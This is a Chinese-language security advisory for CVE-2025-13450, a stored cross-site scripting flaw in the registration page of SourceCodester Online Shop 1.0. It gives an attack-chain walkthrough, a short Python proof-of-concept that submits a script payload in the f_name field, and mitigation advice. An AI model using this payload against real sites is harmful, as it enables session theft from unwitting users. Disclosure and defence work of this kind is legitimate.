IPBUF安全漏洞报告
English
CVE-2025-13450 CVSS 3.5 低危

CVE-2025-13450 | SourceCodester Online Shop 1.0 register.php XSS跨站脚本漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-13450
漏洞类型
XSS跨站脚本
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Online Shop Project 1.0

相关标签

CVE-2025-13450XSS跨站脚本存储型XSSSourceCodesterOnline Shopregister.phpWeb应用安全CWE-79

漏洞概述

CVE-2025-13450是SourceCodester Online Shop Project 1.0中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于注册页面(/shop/register.php)中,具体受影响的是f_name参数。攻击者可以通过在注册表单的姓名字段中注入恶意JavaScript代码,当其他用户访问包含该数据的页面时,恶意脚本将在受害者浏览器中执行,从而窃取用户会话Cookie、劫持用户账户或进行其他恶意操作。由于该漏洞需要用户交互才能触发,CVSS评分相对较低(3.5分),但仍可能对应用程序的安全性造成威胁。攻击者可以利用此漏洞进行钓鱼攻击,诱导用户泄露敏感信息,或者在用户不知情的情况下执行未经授权的操作。该漏洞已在互联网上公开披露,潜在攻击者可能已经知晓并利用此漏洞。

技术细节

该漏洞是典型的存储型XSS(Stored XSS)漏洞,出现在SourceCodester Online Shop 1.0的注册功能模块中。具体问题在于/shop/register.php文件在处理f_name参数时,未对用户输入进行充分的输入验证和输出编码。攻击者可以在注册表单的姓名字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>。由于应用程序直接将该值存储到数据库中,且在后续页面展示时未进行适当的HTML转义,导致恶意代码在其他用户访问相关页面时被浏览器解析执行。攻击向量为网络可访问(AV:N),需要低权限用户身份(PR:L)进行注册操作,且需要受害者访问包含恶意数据的页面(UI:R)。虽然对机密性和完整性影响较低(C:L/I:L),但攻击成功可导致会话劫持、敏感信息泄露等安全问题。修复方案应在服务端对所有用户输入进行严格的输入验证,并在输出时进行HTML实体编码。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者访问目标网站SourceCodester Online Shop Project 1.0,识别注册页面路径/shop/register.php
STEP 2
步骤2:漏洞探测
攻击者在注册表单的f_name字段中注入XSS测试payload,验证漏洞是否存在
STEP 3
步骤3:恶意载荷注入
攻击者使用包含恶意JavaScript代码的payload(如<script>alert(document.cookie)</script>)完成注册,恶意数据被存储到数据库
STEP 4
步骤4:等待受害者访问
当管理员或其他用户访问显示用户信息的页面时,存储的恶意脚本被浏览器解析执行
STEP 5
步骤5:会话劫持/数据窃取
恶意脚本执行后,攻击者可通过document.cookie获取用户会话Cookie,进而劫持用户账户或窃取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13450 PoC - SourceCodester Online Shop 1.0 XSS # Target URL for registration target_url = "http://target.com/shop/register.php" # Malicious payload for XSS in f_name parameter xss_payload = "<script>alert(document.cookie)</script>" # Registration data with XSS payload registration_data = { "f_name": xss_payload, "l_name": "Test", "email": "[email protected]", "password": "Password123!", "contact": "1234567890", "address": "Test Address" } try: # Send registration request response = requests.post(target_url, data=registration_data, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully") print(f"[+] Payload: {xss_payload}") print("[+] When admin/users view the affected page, the XSS will be executed") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

SourceCodester Online Shop Project 1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1) 临时禁用注册功能或限制注册权限;2) 在Web应用防火墙(WAF)层面配置XSS防护规则,对包含<script>标签和JavaScript事件的输入进行拦截;3) 对关键页面实施额外的输入验证和输出编码;4) 监控应用程序日志,检测异常的XSS攻击尝试;5) 加强用户会话管理,定期刷新会话Token,降低会话劫持风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表